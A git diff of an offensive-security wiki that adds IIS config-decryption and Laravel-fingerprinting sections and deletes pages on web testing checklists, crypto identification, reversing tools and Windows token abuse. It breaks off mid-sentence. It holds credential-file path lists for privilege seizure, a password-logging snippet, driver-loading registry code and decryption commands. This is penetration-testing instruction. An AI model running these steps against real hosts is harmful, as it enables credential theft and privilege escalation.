-1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) -1748/tcp open oracle-tns Oracle TNS Listener -``` - -## Summary - -1. **Version Enumeration**: Identify version information to search for known vulnerabilities. -2. **TNS Listener Bruteforce**: Sometimes necessary to establish communication. -3. **SID Name Enumeration/Bruteforce**: Discover database names (SID). -4. **Credential Bruteforce**: Attempt to access discovered SID. -5. **Code Execution**: Attempt to run code on the system. - -In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md) - -## Posts - -Check these posts: - -- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/) -- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) -- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) -- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) - -## HackTricks Automatic Commands - -``` -Protocol_Name: Oracle #Protocol Abbreviation if there is one. -Port_Number: 1521 #Comma separated if there is more than one. -Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out - -Entry_1: - Name: Notes - Description: Notes for Oracle - Note: | - Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation - - #great oracle enumeration tool - navigate to https://github.com/quentinhardy/odat/releases/ - download the latest - tar -xvf odat-linux-libc2.12-x86_64.tar.gz - cd odat-libc2.12-x86_64/ - ./odat-libc2.12-x86_64 all -s 10.10.10.82 - - for more details check https://github.com/quentinhardy/odat/wiki - - https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html - -Entry_2: - Name: Nmap - Description: Nmap with Oracle Scripts - Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} -``` - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index d64a189e0..4035fd4ed 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -204,6 +204,31 @@ If you see an error like the following one: It means that the server **didn't receive the correct domain name** inside the Host header.\ In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one. +## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings + +Two common patterns to protect secrets on IIS-hosted .NET apps are: +- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like . +- ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies. + +If you have filesystem or interactive access on the web server, co-located keys often allow decryption. + +- ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis: + +```cmd +# Decrypt a section by app path (site configured in IIS) +%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication" + +# Or specify the physical path (-pef/-pdf write/read to a config file under a dir) +%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication" +``` + +- ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like: + - %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys + - HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry) + - App-managed folder (e.g., App_Data\keys or a Keys directory next to the app) + +With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised. + ## Old IIS vulnerabilities worth looking for ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index a558d24ed..cd0de4a66 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -115,6 +115,23 @@ For example `http://127.0.0.1:8000/profiles`: This is usually needed for exploiting other Laravel RCE CVEs. +### Fingerprinting & exposed dev endpoints + +Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: + +- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured. +- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode. +- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions. +- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions. +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. + +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` + ### .env Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env` @@ -205,6 +222,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/ * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md deleted file mode 100644 index eaaf2388b..000000000 --- a/src/pentesting-web/web-vulnerabilities-methodology/README.md +++ /dev/null @@ -1,132 +0,0 @@ -# Web Vulnerabilities Methodology - -{{#include ../../banners/hacktricks-training.md}} - -In every Web Pentest, there are **several hidden and obvious places that might be vulnerable**. This post is meant to be a checklist to confirm that you have searched for vulnerabilities in all the possible places. - -## Proxies - -> [!TIP] -> Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. - -- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md) -- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md) -- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html) -- [ ] [**H2C Smuggling**](../h2c-smuggling.md) -- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md) -- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) -- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md) - -## **User input** - -> [!TIP] -> Most of the web applications will **allow users to input some data that will be processed later.**\ -> Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. - -### **Reflected Values** - -If the introduced data may somehow be reflected in the response, the page might be vulnerable to several issues. - -- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md) -- [ ] [**Command Injection**](../command-injection.md) -- [ ] [**CRLF**](../crlf-0d-0a.md) -- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) -- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html) -- [ ] [**Open Redirect**](../open-redirect.md) -- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) -- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md) -- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html) -- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html) -- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md) -- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -- [ ] [**XSS**](../xss-cross-site-scripting/index.html) -- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md) -- [ ] [**XS-Search**](../xs-search.md) - -Some of the mentioned vulnerabilities require special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in: - - -{{#ref}} -../pocs-and-polygloths-cheatsheet/ -{{#endref}} - -### **Search functionalities** - -If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data. - -- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html) -- [ ] [**NoSQL Injection**](../nosql-injection.md) -- [ ] [**LDAP Injection**](../ldap-injection.md) -- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md) -- [ ] [**SQL Injection**](../sql-injection/index.html) -- [ ] [**XPATH Injection**](../xpath-injection.md) - -### **Forms, WebSockets and PostMsgs** - -When a websocket posts a message or a form allowing users to perform actions vulnerabilities may arise. - -- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md) -- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md) -- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html) - -### **HTTP Headers** - -Depending on the HTTP headers given by the web server some vulnerabilities might be present. - -- [ ] [**Clickjacking**](../clickjacking.md) -- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html) -- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html) -- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md) - -### **Bypasses** - -There are several specific functionalities where some workarounds might be useful to bypass them - -- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md) -- [ ] [**Bypass Payment Process**](../bypass-payment-process.md) -- [ ] [**Captcha Bypass**](../captcha-bypass.md) -- [ ] [**Login Bypass**](../login-bypass/index.html) -- [ ] [**Race Condition**](../race-condition.md) -- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md) -- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md) -- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md) - -### **Structured objects / Specific functionalities** - -Some functionalities will require the **data to be structured in a very specific format** (like a language serialized object or XML). Therefore, it's easier to identify if the application might be vulnerable as it needs to be processing that kind of data.\ -Some **specific functionalities** may be also vulnerable if a **specific format of the input is used** (like Email Header Injections). - -- [ ] [**Deserialization**](../deserialization/index.html) -- [ ] [**Email Header Injection**](../email-injections.md) -- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md) -- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md) - -### Files - -Functionalities that allow uploading files might be vulnerable to several issues.\ -Functionalities that generate files including user input might execute unexpected code.\ -Users that open files uploaded by users or automatically generated including user input might be compromised. - -- [ ] [**File Upload**](../file-upload/index.html) -- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md) -- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md) -- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) - -### **External Identity Management** - -- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md) -- [ ] [**SAML Attacks**](../saml-attacks/index.html) - -### **Other Helpful Vulnerabilities** - -These vulnerabilities might help to exploit other vulnerabilities. - -- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md) -- [ ] [**IDOR**](../idor.md) -- [ ] [**Parameter Pollution**](../parameter-pollution.md) -- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html) - -{{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md deleted file mode 100644 index 17a216cd5..000000000 --- a/src/reversing/cryptographic-algorithms/README.md +++ /dev/null @@ -1,186 +0,0 @@ -# Cryptographic/Compression Algorithms - -{{#include ../../banners/hacktricks-training.md}} - -## Identifying Algorithms - -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. - -### API functions - -**CryptDeriveKey** - -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: - -![](<../../images/image (375) (1) (1) (1) (1).png>) - -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) - -**RtlCompressBuffer/RtlDecompressBuffer** - -Compresses and decompresses a given buffer of data. - -**CryptAcquireContext** - -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. - -**CryptCreateHash** - -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: - -![](<../../images/image (376).png>) - -\ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) - -### Code constants - -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. - -![](<../../images/image (370).png>) - -If you search for the first constant in Google this is what you get: - -![](<../../images/image (371).png>) - -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. - -### data info - -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: - -![](<../../images/image (372).png>) - -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. - -## RC4 **(Symmetric Crypt)** - -### Characteristics - -It's composed of 3 main parts: - -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. - -> [!TIP] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** - -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) - -![](<../../images/image (377).png>) - -### **Scrambling Stage:** - -![](<../../images/image (378).png>) - -### **XOR Stage:** - -![](<../../images/image (379).png>) - -## **AES (Symmetric Crypt)** - -### **Characteristics** - -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. - -### SBox constants - -![](<../../images/image (380).png>) - -## Serpent **(Symmetric Crypt)** - -### Characteristics - -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) - -### Identifying - -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: - -![](<../../images/image (381).png>) - -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: - -![](<../../images/image (382).png>) - -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). - -## RSA **(Asymmetric Crypt)** - -### Characteristics - -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. - -### Identifying by comparisons - -![](<../../images/image (383).png>) - -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` - -## MD5 & SHA (hash) - -### Characteristics - -- 3 functions: Init, Update, Final -- Similar initialize functions - -### Identify - -**Init** - -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: - -![](<../../images/image (385).png>) - -**MD5 Transform** - -Note the use of more constants - -![](<../../images/image (253) (1) (1) (1).png>) - -## CRC (hash) - -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) - -### Identify - -Check **lookup table constants**: - -![](<../../images/image (387).png>) - -A CRC hash algorithm looks like: - -![](<../../images/image (386).png>) - -## APLib (Compression) - -### Characteristics - -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online - -### Identify - -The graph is quiet large: - -![](<../../images/image (207) (2) (1).png>) - -Check **3 comparisons to recognise it**: - -![](<../../images/image (384).png>) - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md deleted file mode 100644 index 246632d3f..000000000 --- a/src/reversing/reversing-tools/README.md +++ /dev/null @@ -1,119 +0,0 @@ -# Reversing Tools - -{{#include ../../banners/hacktricks-training.md}} - - -## Wasm Decompilation and Wat Compilation Guide -In the realm of **WebAssembly**, tools for **decompiling** and **compiling** are essential for developers. This guide introduces some online resources and software for handling **Wasm (WebAssembly binary)** and **Wat (WebAssembly text)** files. - -### Online Tools - -- To **decompile** Wasm to Wat, the tool available at [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) comes in handy. -- For **compiling** Wat back to Wasm, [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) serves the purpose. -- Another decompilation option can be found at [web-wasmdec](https://wwwg.github.io/web-wasmdec/). - -### Software Solutions - -- For a more robust solution, [JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) offers extensive features. -- The open-source project [wasmdec](https://github.com/wwwg/wasmdec) is also available for decompilation tasks. - -## .Net Decompilation Resources - -Decompiling .Net assemblies can be accomplished with tools such as: - -- [ILSpy](https://github.com/icsharpcode/ILSpy), which also offers a [plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), allowing cross-platform usage. -- For tasks involving **decompilation**, **modification**, and **recompilation**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) is highly recommended. **Right-clicking** a method and choosing **Modify Method** enables code changes. -- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) is another alternative for decompiling .Net assemblies. - -### Enhancing Debugging and Logging with DNSpy - -#### DNSpy Logging - -To log information to a file using DNSpy, incorporate the following .Net code snippet: - -```cpp -using System.IO; -path = "C:\\inetpub\\temp\\MyTest2.txt"; -File.AppendAllText(path, "Password: " + password + "\n"); -``` - -#### DNSpy Debugging - -For effective debugging with DNSpy, a sequence of steps is recommended to adjust **Assembly attributes** for debugging, ensuring that optimizations that could hinder debugging are disabled. This process includes changing the `DebuggableAttribute` settings, recompiling the assembly, and saving the changes. - -Moreover, to debug a .Net application run by **IIS**, executing `iisreset /noforce` restarts IIS. To attach DNSpy to the IIS process for debugging, the guide instructs on selecting the **w3wp.exe** process within DNSpy and starting the debugging session. - -For a comprehensive view of loaded modules during debugging, accessing the **Modules** window in DNSpy is advised, followed by opening all modules and sorting assemblies for easier navigation and debugging. - -This guide encapsulates the essence of WebAssembly and .Net decompilation, offering a pathway for developers to navigate these tasks with ease. - -## **Java Decompiler** - -To decompile Java bytecode, these tools can be very helpful: - -- [jadx](https://github.com/skylot/jadx) -- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases) - -## **Debugging DLLs** - -### Using IDA - -- **Rundll32** is loaded from specific paths for 64-bit and 32-bit versions. -- **Windbg** is selected as the debugger with the option to suspend on library load/unload enabled. -- Execution parameters include the DLL path and function name. This setup halts execution upon each DLL's loading. - -### Using x64dbg/x32dbg - -- Similar to IDA, **rundll32** is loaded with command line modifications to specify the DLL and function. -- Settings are adjusted to break on DLL entry, allowing breakpoint setting at the desired DLL entry point. - -### Images - -- Execution stopping points and configurations are illustrated through screenshots. - -## **ARM & MIPS** - -- For emulation, [arm_now](https://github.com/nongiach/arm_now) is a useful resource. - -## **Shellcodes** - -### Debugging Techniques - -- **Blobrunner** and **jmp2it** are tools for allocating shellcodes in memory and debugging them with Ida or x64dbg. - - Blobrunner [releases](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) - - jmp2it [compiled version](https://github.com/adamkramer/jmp2it/releases/) -- **Cutter** offers GUI-based shellcode emulation and inspection, highlighting differences in shellcode handling as a file versus direct shellcode. - -### Deobfuscation and Analysis - -- **scdbg** provides insights into shellcode functions and deobfuscation capabilities. - ```bash - scdbg.exe -f shellcode # Basic info - scdbg.exe -f shellcode -r # Analysis report - scdbg.exe -f shellcode -i -r # Interactive hooks - scdbg.exe -f shellcode -d # Dump decoded shellcode - scdbg.exe -f shellcode /findsc # Find start offset - scdbg.exe -f shellcode /foff 0x0000004D # Execute from offset - ``` - -- **CyberChef** for disassembling shellcode: [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) - -## **Movfuscator** - -- An obfuscator that replaces all instructions with `mov`. -- Useful resources include a [YouTube explanation](https://www.youtube.com/watch?v=2VF_wPkiBJY) and [PDF slides](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf). -- **demovfuscator** might reverse movfuscator's obfuscation, requiring dependencies like `libcapstone-dev` and `libz3-dev`, and installing [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md). - -## **Delphi** - -- For Delphi binaries, [IDR](https://github.com/crypto2011/IDR) is recommended. - -# Courses - -- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) -- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\) - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md deleted file mode 100644 index 93db26ab9..000000000 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ /dev/null @@ -1,199 +0,0 @@ -# Abusing Tokens - -{{#include ../../../banners/hacktricks-training.md}} - -## Tokens - -If you **don't know what are Windows Access Tokens** read this page before continuing: - - -{{#ref}} -../access-tokens.md -{{#endref}} - -**Maybe you could be able to escalate privileges abusing the tokens you already have** - -### SeImpersonatePrivilege - -This is privilege that is held by any process allows the impersonation (but not creation) of any token, given that a handle to it can be obtained. A privileged token can be acquired from a Windows service (DCOM) by inducing it to perform NTLM authentication against an exploit, subsequently enabling the execution of a process with SYSTEM privileges. This vulnerability can be exploited using various tools, such as [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (which requires winrm to be disabled), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) and [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). - - -{{#ref}} -../roguepotato-and-printspoofer.md -{{#endref}} - - -{{#ref}} -../juicypotato.md -{{#endref}} - -### SeAssignPrimaryPrivilege - -It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.\ -Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).\ -With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** (in general, you cannot modify the primary token of a running process). - -### SeTcbPrivilege - -If you have enabled this token you can use **KERB_S4U_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** (admins) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** (SetThreadToken). - -### SeBackupPrivilege - -The system is caused to **grant all read access** control to any file (limited to read operations) by this privilege. It is utilized for **reading the password hashes of local Administrator** accounts from the registry, following which, tools like "**psexec**" or "**wmiexec**" can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.\ -You can **abuse this privilege** with: - -- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) -- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) -- following **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- Or as explained in the **escalating privileges with Backup Operators** section of: - - -{{#ref}} -../../active-directory-methodology/privileged-groups-and-token-privileges.md -{{#endref}} - -### SeRestorePrivilege - -Permission for **write access** to any system file, irrespective of the file's Access Control List (ACL), is provided by this privilege. It opens up numerous possibilities for escalation, including the ability to **modify services**, perform DLL Hijacking, and set **debuggers** via Image File Execution Options among various other techniques. - -### SeCreateTokenPrivilege - -SeCreateTokenPrivilege is a powerful permission, especially useful when a user possesses the ability to impersonate tokens, but also in the absence of SeImpersonatePrivilege. This capability hinges on the ability to impersonate a token that represents the same user and whose integrity level does not exceed that of the current process. - -**Key Points:** - -- **Impersonation without SeImpersonatePrivilege:** It's possible to leverage SeCreateTokenPrivilege for EoP by impersonating tokens under specific conditions. -- **Conditions for Token Impersonation:** Successful impersonation requires the target token to belong to the same user and have an integrity level that is less or equal to the integrity level of the process attempting impersonation. -- **Creation and Modification of Impersonation Tokens:** Users can create an impersonation token and enhance it by adding a privileged group's SID (Security Identifier). - -### SeLoadDriverPrivilege - -Thi privilege allows to **load and unload device drivers** with the creation of a registry entry with specific values for `ImagePath` and `Type`. Since direct write access to `HKLM` (HKEY_LOCAL_MACHINE) is restricted, `HKCU` (HKEY_CURRENT_USER) must be utilized instead. However, to make `HKCU` recognizable to the kernel for driver configuration, a specific path must be followed. - -This path is `\Registry\User\\System\CurrentControlSet\Services\DriverName`, where `` is the Relative Identifier of the current user. Inside `HKCU`, this entire path must be created, and two values need to be set: - -- `ImagePath`, which is the path to the binary to be executed -- `Type`, with a value of `SERVICE_KERNEL_DRIVER` (`0x00000001`). - -**Steps to Follow:** - -1. Access `HKCU` instead of `HKLM` due to restricted write access. -2. Create the path `\Registry\User\\System\CurrentControlSet\Services\DriverName` within `HKCU`, where `` represents the current user's Relative Identifier. -3. Set the `ImagePath` to the binary's execution path. -4. Assign the `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`). - -```python -# Example Python code to set the registry values -import winreg as reg - -# Define the path and values -path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed -key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE) -reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary") -reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001) -reg.CloseKey(key) -``` - -More ways to abuse this privilege in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) - -### SeTakeOwnershipPrivilege - -This is similar to to **SeRestorePrivilege**. Its primary function allows a process to **assume ownership of an object**, circumventing the requirement for explicit discretionary access through the provision of WRITE_OWNER access rights. The process involves first securing ownership of the intended registry key for writing purposes, then altering the DACL to enable write operations. - -```bash -takeown /f 'C:\some\file.txt' #Now the file is owned by you -icacls 'C:\some\file.txt' /grant :F #Now you have full access -# Use this with files that might contain credentials such as -%WINDIR%\repair\sam -%WINDIR%\repair\system -%WINDIR%\repair\software -%WINDIR%\repair\security -%WINDIR%\system32\config\security.sav -%WINDIR%\system32\config\software.sav -%WINDIR%\system32\config\system.sav -%WINDIR%\system32\config\SecEvent.Evt -%WINDIR%\system32\config\default.sav -c:\inetpub\wwwwroot\web.config -``` - -### SeDebugPrivilege - -This privilege permits the **debug other processes**, including to read and write in the memore. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege. - -#### Dump memory - -You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) or [SharpDump](https://github.com/GhostPack/SharpDump) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** process, which is responsible for storing user credentials once a user has successfully logged into a system. - -You can then 